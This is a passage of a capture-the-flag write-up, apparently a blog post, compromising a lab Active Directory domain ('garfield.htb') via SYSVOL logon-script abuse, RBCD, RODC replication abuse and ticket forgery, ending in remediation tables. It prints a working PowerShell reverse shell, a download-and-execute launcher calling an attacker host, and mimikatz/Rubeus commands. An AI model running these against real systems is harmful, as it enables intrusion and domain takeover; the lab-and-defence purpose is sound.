dig @dc01.garfield.htb any garfield.htb

;; ANSWER SECTION:
garfield.htb.           600     IN      A       <MACHINE-IP>
garfield.htb.           3600    IN      NS      dc01.garfield.htb.
garfield.htb.           3600    IN      SOA     dc01.garfield.htb. hostmaster.garfield.htb. 319 900 600 86400 3600
garfield.htb.           600     IN      AAAA    dead:beef::5a16:a5c9:fba3:d037

;; ADDITIONAL SECTION:
dc01.garfield.htb.      3600    IN      A       192.168.100.1
dc01.garfield.htb.      3600    IN      A       <MACHINE-IP>
dc01.garfield.htb.      3600    IN      AAAA    dead:beef::5a16:a5c9:fba3:d037

The presence of a 192.168.x.x address alongside the public one indicates the domain controller is dual-homed - it also sits on an internal network segment not directly reachable from the attacker machine. This becomes relevant later.

1.2 SMB/LDAP Enumeration

Shares and users were enumerated with the leaked credentials:

nxc smb <MACHINE-IP> -u 'garfield.htb\j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares
SMB   <MACHINE-IP>   445   DC01   [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   <MACHINE-IP>   445   DC01   [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB   <MACHINE-IP>   445   DC01   [*] Enumerated shares
SMB   <MACHINE-IP>   445   DC01   Share           Permissions     Remark
SMB   <MACHINE-IP>   445   DC01   -----           -----------     ------
SMB   <MACHINE-IP>   445   DC01   ADMIN$                          Remote Admin
SMB   <MACHINE-IP>   445   DC01   C$                              Default share
SMB   <MACHINE-IP>   445   DC01   IPC$            READ            Remote IPC
SMB   <MACHINE-IP>   445   DC01   NETLOGON        READ            Logon server share
SMB   <MACHINE-IP>   445   DC01   SYSVOL          READ            Logon server share

nxc smb <MACHINE-IP> -u 'garfield.htb\j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users
SMB   <MACHINE-IP>   445   DC01   -Username-                    -Last PW Set-       -BadPW- -Description-
SMB   <MACHINE-IP>   445   DC01   Administrator                 2025-10-03 17:29:26 0       Built-in account for administering the computer/domain
SMB   <MACHINE-IP>   445   DC01   Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB   <MACHINE-IP>   445   DC01   krbtgt                        2025-08-13 11:05:26 0       Key Distribution Center Service Account
SMB   <MACHINE-IP>   445   DC01   krbtgt_8245                   2025-08-17 11:33:39 0       Key Distribution Center service account for read-only domain controller
SMB   <MACHINE-IP>   445   DC01   j.arbuckle                    2025-09-09 15:50:55 0
SMB   <MACHINE-IP>   445   DC01   l.wilson                      2026-01-27 21:40:33 0
SMB   <MACHINE-IP>   445   DC01   l.wilson_adm                  2026-01-13 14:56:35 0
SMB   <MACHINE-IP>   445   DC01   [*] Enumerated 7 local users: GARFIELD

Nothing directly exploitable surfaced here, so the next step was a full BloodHound sweep. The presence of krbtgt_8245 - a second KDC service account tied to a read-only domain controller (RODC) - is worth noting for later.

2. Active Directory Enumeration

bloodhound-python -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb -dc DC01.garfield.htb -c All

Ingesting the collected data into BloodHound revealed a useful, if incomplete, chain:

l.wilson -> can reset the password of l.wilson_adm
l.wilson_adm -> can self-add to RODC01 Administrators@garfield.htb
l.wilson_adm -> can change the password of RODC01.garfield.htb

These paths are promising, but all of them require access to l.wilson first - and nothing in the graph explains how to get there.

3. Initial Foothold via SYSVOL

3.1 The BloodHound Blind Spot

This attack path doesn't appear in BloodHound because of a structural limitation:

Object vs. file permissions - BloodHound models Active Directory object ACLs, but does not analyze NTFS permissions inside SYSVOL.
GPO delegation mismatch - Administrative delegation (e.g. "Manage Logon Scripts") often grants write access to SYSVOL files without touching the AD object's own ACL.

The result: attack paths relying on file-level SYSVOL access remain invisible in the BloodHound graph.

j.arbuckle is a member of the IT Support group, which prompted manual validation of accessible network shares beyond what BloodHound reported. Using smbclient, the group turned out to have write access to logon scripts:

# Verify write access
smbclient //<MACHINE-IP>/SYSVOL -U 'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978' \
  -c "cd garfield.htb\scripts; put /etc/hosts test.txt"

putting file /etc/hosts as \garfield.htb\scripts\test.txt (1.9 kB/s) (average 1.9 kB/s)

The upload succeeded - confirming write access to logon scripts, a path invisible to the BloodHound graph but sufficient to compromise l.wilson, which in turn opens the l.wilson_adm -> RODC01 chain already identified.

3.2 Reverse Shell Payload

A two-stage payload was used to execute code via AD logon scripts:

A .bat launcher (evil.bat) as the logon script itself
A PowerShell reverse shell (shell.ps1), downloaded and executed in memory by the launcher

PowerShell payload (shell.ps1):

$client = New-Object System.Net.Sockets.TCPClient("<ATTACKER-IP>",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

Logon script launcher (evil.bat):

@echo off
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER-IP>/shell.ps1')"

This downloads and executes the PowerShell payload entirely in memory (fileless execution) - avoiding writing suspicious files to disk and allowing quick payload iteration.

3.3 Hosting and Uploading the Payload

python3 -m http.server 80

smbclient //<MACHINE-IP>/SYSVOL -U 'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978' \
  -c "cd garfield.htb\scripts; put /path/to/evil.bat evil.bat"

Start a listener:

nc -lnvp 4444

Set l.wilson's logon script path to point at the malicious script:

bloodyAD -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --host <MACHINE-IP> \
  set object l.wilson scriptPath -v "evil.bat"

When l.wilson next logs in, the logon script runs and a reverse shell connects back to the attacker.

Note: Logon scripts only execute during authentication, so this attack is timing-dependent. Options to speed things up include waiting for a natural login, forcing authentication where possible, or targeting a user known to log in frequently.

4. Lateral Movement

BloodHound had already flagged that l.wilson can change the password of l.wilson_adm.

4.1 Resetting the Password for l.wilson_adm

From the shell obtained as l.wilson:

$user = [ADSI]"LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"
$user.SetPassword("Password12!")
$user.SetInfo()

4.2 User Flag

evil-winrm -i <MACHINE-IP> -u 'l.wilson_adm' -p 'Password12!'

*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> type C:\Users\l.wilson_adm\Desktop\User.txt
HTB{REDACTED}

5. Privilege Escalation

5.1 Writable Objects

With l.wilson_adm compromised, writable AD objects were enumerated:

bloodyAD --host garfield.htb -u l.wilson_adm -p 'Password12!' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb

WRITE on the RODC01 computer object allows modification of its attributes - including msDS-AllowedToActOnBehalfOfOtherIdentity. Controlling that attribute lets an attacker-controlled machine account impersonate any user when authenticating to RODC01: Resource-Based Constrained Delegation (RBCD).

5.2 Resource-Based Constrained Delegation (RBCD)

With WRITE access over RODC01, the plan was to:

Create a machine account fully controlled by the attacker
Configure RBCD on RODC01 pointing at that account
Impersonate a privileged user (Administrator) when requesting a service ticket
Gain remote access to RODC01

An initial connection attempt to RODC01 failed outright. Recalling the dual-homed DC discovered during recon, and now knowing the hostname RODC01.garfield.htb, a DNS lookup was the next step.

5.3 Internal Network Discovery

dig @dc01.garfield.htb RODC01.garfield.htb

;; ANSWER SECTION:
RODC01.garfield.htb.    1200    IN      A       192.168.100.2

RODC01 resolves to 192.168.100.2 - an RFC1918 private address, confirming the host sits on the internal-only network segment behind the dual-homed DC and isn't directly reachable from the attacker machine.

5.4 Pivoting via Chisel

A Chisel server was started on the attacker machine:

chisel server -p 8000 --reverse

Chisel was uploaded to the l.wilson_adm session and connected back to establish a reverse SOCKS tunnel:

upload /path/to/chisel.exe
.\Chisel.exe client <ATTACKER-IP>:8000 R:socks

Proxychains was then configured to route through the tunnel:

sudo nano /etc/proxychains4.conf
# Ensure:
socks5 127.0.0.1 1080

Connectivity to the internal network was verified:

proxychains nmap -p445 -Pn 192.168.100.2

PORT    STATE    SERVICE
445/tcp filtered microsoft-ds

Although the port shows filtered rather than open, receiving any response via proxychains confirms traffic is being successfully routed through the tunnel into the internal segment.

5.5 RBCD Exploitation

With l.wilson_adm controlled and a route to RODC01 established, the RBCD chain was executed to ultimately abuse RODC-specific replication controls and extract sensitive credentials.

Add l.wilson_adm to RODC Administrators:

Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"
Get-ADGroupMember "RODC Administrators"

Group membership changes require a new logon session to take effect, so the WinRM session was reconnected:

evil-winrm -i <MACHINE-IP> -u l.wilson_adm -p 'Password12!'

1. Add a fake computer account. By default, domain users can create a limited number of machine accounts (ms-DS-MachineAccountQuota), which is enough to create a fully attacker-controlled computer object required for RBCD:

addcomputer.py -dc-ip <MACHINE-IP> \
  -computer-name 'EVIL$' \
  -computer-pass 'EvilPass123!' \
  'garfield.htb/l.wilson_adm:Password12!'

2. Delegate RODC01 to the fake computer:

rbcd.py -delegate-to 'RODC01$' \
  -delegate-from 'EVIL$' \
  -action write \
  'garfield.htb/l.wilson_adm:Password12!' \
  -dc-ip <MACHINE-IP>

3. Request a service ticket for RODC01, impersonating Administrator:

proxychains getST.py \
  garfield.htb/'EVIL$':'EvilPass123!' \
  -spn cifs/RODC01.garfield.htb \
  -impersonate Administrator \
  -dc-ip <MACHINE-IP>

4. Export and use the ticket:

export KRB5CCNAME='Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache'

5. Connect via wmiexec:

proxychains wmiexec.py -k -no-pass \
  -target-ip 192.168.100.2 \
  'garfield.htb/Administrator@RODC01.garfield.htb'

5.6 Forcing Credential Replication

RODCs don't cache all domain credentials by default - only accounts explicitly permitted by the Password Replication Policy (PRP). The policy was modified to allow replication of the real Administrator account.

PowerView.ps1 (bundled by default on Kali) was uploaded to the l.wilson_adm session:

locate powerview.ps1
/usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1

upload /path/to/powerview.ps1

Configure the RODC to cache Administrator credentials:

Import-Module .\PowerView.ps1

Set-DomainObject -Identity RODC01$ -Set @{
  'msDS-RevealOnDemandGroup'=@(
    'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb',
    'CN=Administrator,CN=Users,DC=garfield,DC=htb'
  )
}

Set-DomainObject -Identity RODC01$ -Clear 'msDS-NeverRevealGroup'

Force credential replication:

repadmin /rodcpwdrepl RODC01 DC01 "CN=Administrator,CN=Users,DC=garfield,DC=htb"

Successfully replicated secrets for user CN=Administrator,CN=Users,DC=garfield,DC=htb on read-only DC RODC01 from full DC DC01.

5.7 Extracting Keys and Forging Tickets

With the real Administrator's credentials now cached on the RODC, its krbtgt_8245 key (the RODC-specific KDC key) was dumped with mimikatz:

mimikatz.exe lsadump::dcsync /user:garfield\krbtgt_8245

Forging a RODC Golden Ticket using the extracted key (Rubeus uploaded to the RODC01 shell):

Note: Use Rubeus v2.3.3 or later - older versions silently ignore the /keyList flag.

.\Rubeus.exe golden /rodcNumber:8245 /flags:forwardable,renewable,enc_pa_rep /nowrap \
  /outfile:ticket.kirbi /aes256:<AES_KEY> /user:Administrator /id:500 \
  /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357

Key List Attack - using the same extracted key to request a full-privilege TGS and recover the Administrator's NTLM hash:

.\Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb \
  /dc:DC01.garfield.htb \
  /ticket:ticket_2026_04_05_12_11_04_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /nowrap

This returns the domain Administrator's NT hash, usable directly with Pass-the-Hash.

6. Root Flag

evil-winrm -i <MACHINE-IP> -u Administrator -H 'EE..............2D5'

*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         4/4/2026  11:55 PM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
HTB{REDACTED}

7. Attack Chain Summary

Initial Access
│
├─ Credential Leak (j.arbuckle)
│
├─ Reconnaissance
│   ├─ Nmap → Domain Controller identified (DC01)
│   ├─ DNS → Dual-homed DC (public + 192.168.x.x)
│   └─ SMB/LDAP → Users & shares enumerated
│
├─ BloodHound Analysis
│   └─ Attack path identified (incomplete):
│       l.wilson → l.wilson_adm → RODC01
│
├─ Initial Foothold (SYSVOL Abuse - BloodHound blind spot)
│   ├─ Write access to SYSVOL logon scripts (not in AD ACLs)
│   ├─ Upload malicious script (evil.bat + shell.ps1)
│   ├─ Set scriptPath for l.wilson
│   └─ Reverse shell as l.wilson (on next logon)
│
├─ Lateral Movement
│   ├─ Reset password of l.wilson_adm
│   └─ WinRM access as l.wilson_adm (user flag)
│
├─ Privilege Escalation (AD Abuse)
│   ├─ Enumerate writable objects
│   ├─ WRITE access on RODC01
│   └─ Resource-Based Constrained Delegation (RBCD)
│       ├─ Create fake machine account (EVIL$)
│       ├─ Configure delegation on RODC01
│       ├─ Request TGS impersonating Administrator
│       └─ Access RODC01 (via internal network)
│
├─ Network Pivoting
│   ├─ Identify internal IP (192.168.100.2)
│   ├─ Chisel reverse SOCKS tunnel
│   └─ Proxychains → internal network access
│
├─ Domain Compromise via RODC
│   ├─ Add l.wilson_adm to RODC Administrators
│   ├─ Modify Password Replication Policy (allow Administrator)
│   ├─ Force credential replication (repadmin)
│   └─ Extract krbtgt_8245 key (mimikatz)
│
├─ Ticket Forgery
│   ├─ Forge RODC Golden Ticket (Rubeus)
│   └─ Key List Attack → Administrator NTLM hash
│
└─ Full Domain Compromise
    └─ Pass-the-Hash → Administrator access (root flag)

8. Key Vulnerabilities

#	Vulnerability / Misconfiguration	Description	Impact
1	Credential exposure	Valid credentials for `j.arbuckle` were available	Initial domain access
2	SYSVOL write access	User had write permissions on `\\SYSVOL\scripts`	Logon script injection -> remote code execution
3	BloodHound-invisible attack path	NTFS permissions on SYSVOL aren't visible in BloodHound's AD-ACL model	Hidden privilege escalation path
4	Excessive AD delegation rights	`l.wilson` can reset the password of `l.wilson_adm`	Lateral movement
5	Privileged account misconfiguration	`l.wilson_adm` holds high privileges over RODC01	Privilege escalation
6	Writable AD object (RODC01)	`WRITE` access on the RODC01 computer object	Enables RBCD attack
7	Resource-Based Constrained Delegation exposure	Delegation settings modifiable by a low-privileged writable-object holder	Impersonation of Administrator
8	Dual-homed domain controller	DC exposed on an internal (`192.168.x.x`) network in addition to the public one	Pivoting opportunity into internal segment
9	Poor network segmentation	Internal network reachable once pivoted	Access to otherwise-restricted hosts (RODC01)
10	No egress filtering	Outbound connections (reverse shell, Chisel tunnel) allowed unrestricted	C2 and tunneling capability
11	RODC Administrators group mismanagement	Attacker-controlled account added to RODC Administrators	Elevated control over the RODC
12	Weak Password Replication Policy	RODC PRP could be modified to allow replication of the real Administrator	Credential exposure via a read-only DC
13	Forced credential replication	`repadmin` used to force-replicate Administrator's credentials to RODC	Credential dumping
14	Kerberos key exposure (`krbtgt_8245`)	RODC-specific KRBTGT key extracted via DCSync	Golden Ticket / Key List Attack
15	Lack of monitoring/detection	No apparent alerting on script abuse, delegation changes, or forced replication	Full domain compromise without detection

9. Remediations

Vulnerability	Recommendation
Credential exposure	Rotate and audit any credentials shared outside their intended scope; avoid reusing HTB-provided or onboarding credentials without a forced rotation
SYSVOL write access via GPO delegation	Audit "Manage Logon Scripts" and similar GPO delegations regularly; treat file-level SYSVOL write access as equivalent in risk to an AD object ACL grant
BloodHound-invisible SYSVOL paths	Supplement BloodHound collection with explicit SYSVOL/NTFS permission audits (e.g. `icacls`, dedicated SYSVOL ACL review tooling) as part of routine AD hygiene
Delegated password-reset rights (`l.wilson` -> `l.wilson_adm`)	Apply least-privilege delegation; avoid granting standard users password-reset rights over higher-privileged or administrative accounts
Writable RODC computer object	Restrict `WRITE` access on domain controller computer objects, including RODCs, to Domain/Enterprise Admins only
RBCD misuse via `ms-DS-MachineAccountQuota`	Set `ms-DS-MachineAccountQuota` to `0` for non-administrative users to prevent unauthorized machine account creation used in RBCD attacks
Dual-homed DC / internal network exposure	Avoid dual-homing domain controllers across trust boundaries; if required, enforce strict firewalling and monitoring on the internal-facing interface
No egress filtering	Implement egress filtering and network monitoring to detect reverse shells, unauthorized tunneling tools (Chisel, etc.), and unusual outbound connections
RODC Password Replication Policy weaknesses	Keep the RODC PRP restrictive by default; alert on any modification of `msDS-RevealOnDemandGroup` or `msDS-NeverRevealGroup`
Forced credential replication (`repadmin /rodcpwdrepl`)	Monitor and alert on RODC replication events targeting privileged accounts such as `Administrator`
RODC `krbtgt` key exposure	Treat RODC KDC keys with the same sensitivity as the domain `krbtgt` key; monitor for DCSync-style requests against RODC service accounts
Lack of monitoring/detection	Deploy detection for logon script modification, group membership changes to privileged groups, delegation attribute changes, and abnormal ticket requests (Golden Ticket / Key List Attack indicators)

DEV Community: Yogeshwar Peela

TryHackMe : CryptoCabana Writeup

Overview

Step 1: Confirm the Starting Foothold

Step 2: Find the Public Static Website

Step 3: Enumerate the Storage Account with the Leaked SAS

Step 4: Authenticate as the Service Principal

Step 5: Hit a Wall on Key Vault RBAC

Step 6: Recover the Rotated Secret Version

Step 7: Assemble the Flag

Root Cause Summary

Remediation Notes

TryHackMe : Towel on the Sunbed Writeup

TL;DR

1. Recon

2. Mapping the app

3. Confirming the claim/cooldown mechanic

4. Race condition in /claim

5. Unlocking the vault

Key vulnerabilities

Attack chain

Mitigations

TryHackMe : Do Not Disturb Writeup

TL;DR

1. Recon

2. Directory discovery

3. NoSQL injection - authentication bypass

4. Server-side template injection to RCE

5. Finding the escalation path - a second Node process

6. Speaking WebSocket to the Node inspector manually

7. Root flag via disk group, not a root shell

Key vulnerabilities

Attack chain

Mitigations

TryHackMe : Overheard at Breakfast

TL;DR

1. The artifact

2. Ruling out metadata and steganography

3. Reading the screenshot

4. Hashing the email and querying Gravatar

5. Decoding the flag

Techniques used

Chain

Takeaways / lessons (from a defensive OSINT-awareness angle)

TryHackMe : Beach Bar Writeup

TL;DR

1. Recon

2. Initial access — default creds in an HTML comment

3. Finding the sink — playlist export/import

4. Confirming unsafe YAML deserialization

5. RCE

6. Privilege escalation — password reuse from a process argument

7. Bonus finding (out of scope of the intended path, but notable)

Key vulnerabilities

Attack chain

Mitigations

TryHackMe : Packed Light Writeup

TL;DR

1. Initial triage

2. Spotting the payload download

3. Pulling the exfil cookies

4. Decoding

5. Flag

Key vulnerabilities / weaknesses exploited (for detection writeups)

Attack chain

Mitigations

TryHackMe : Enterprise Writeup

Summary

Recon

Nmap - top ports

Full port scan

SMB null / guest session

RID brute forcing users

The Docs share - a deliberate dead end

Finding the GitHub org

The Bitbucket-styled login page

Google dorking for the GitHub org

The leaked credentials

Validating and using nik's credentials

Kerberoasting the bitbucket account

4. Race condition in `/claim`

Trying to set `unlocked` directly

First prototype pollution attempt - `proto`

Second attempt - `constructor.prototype`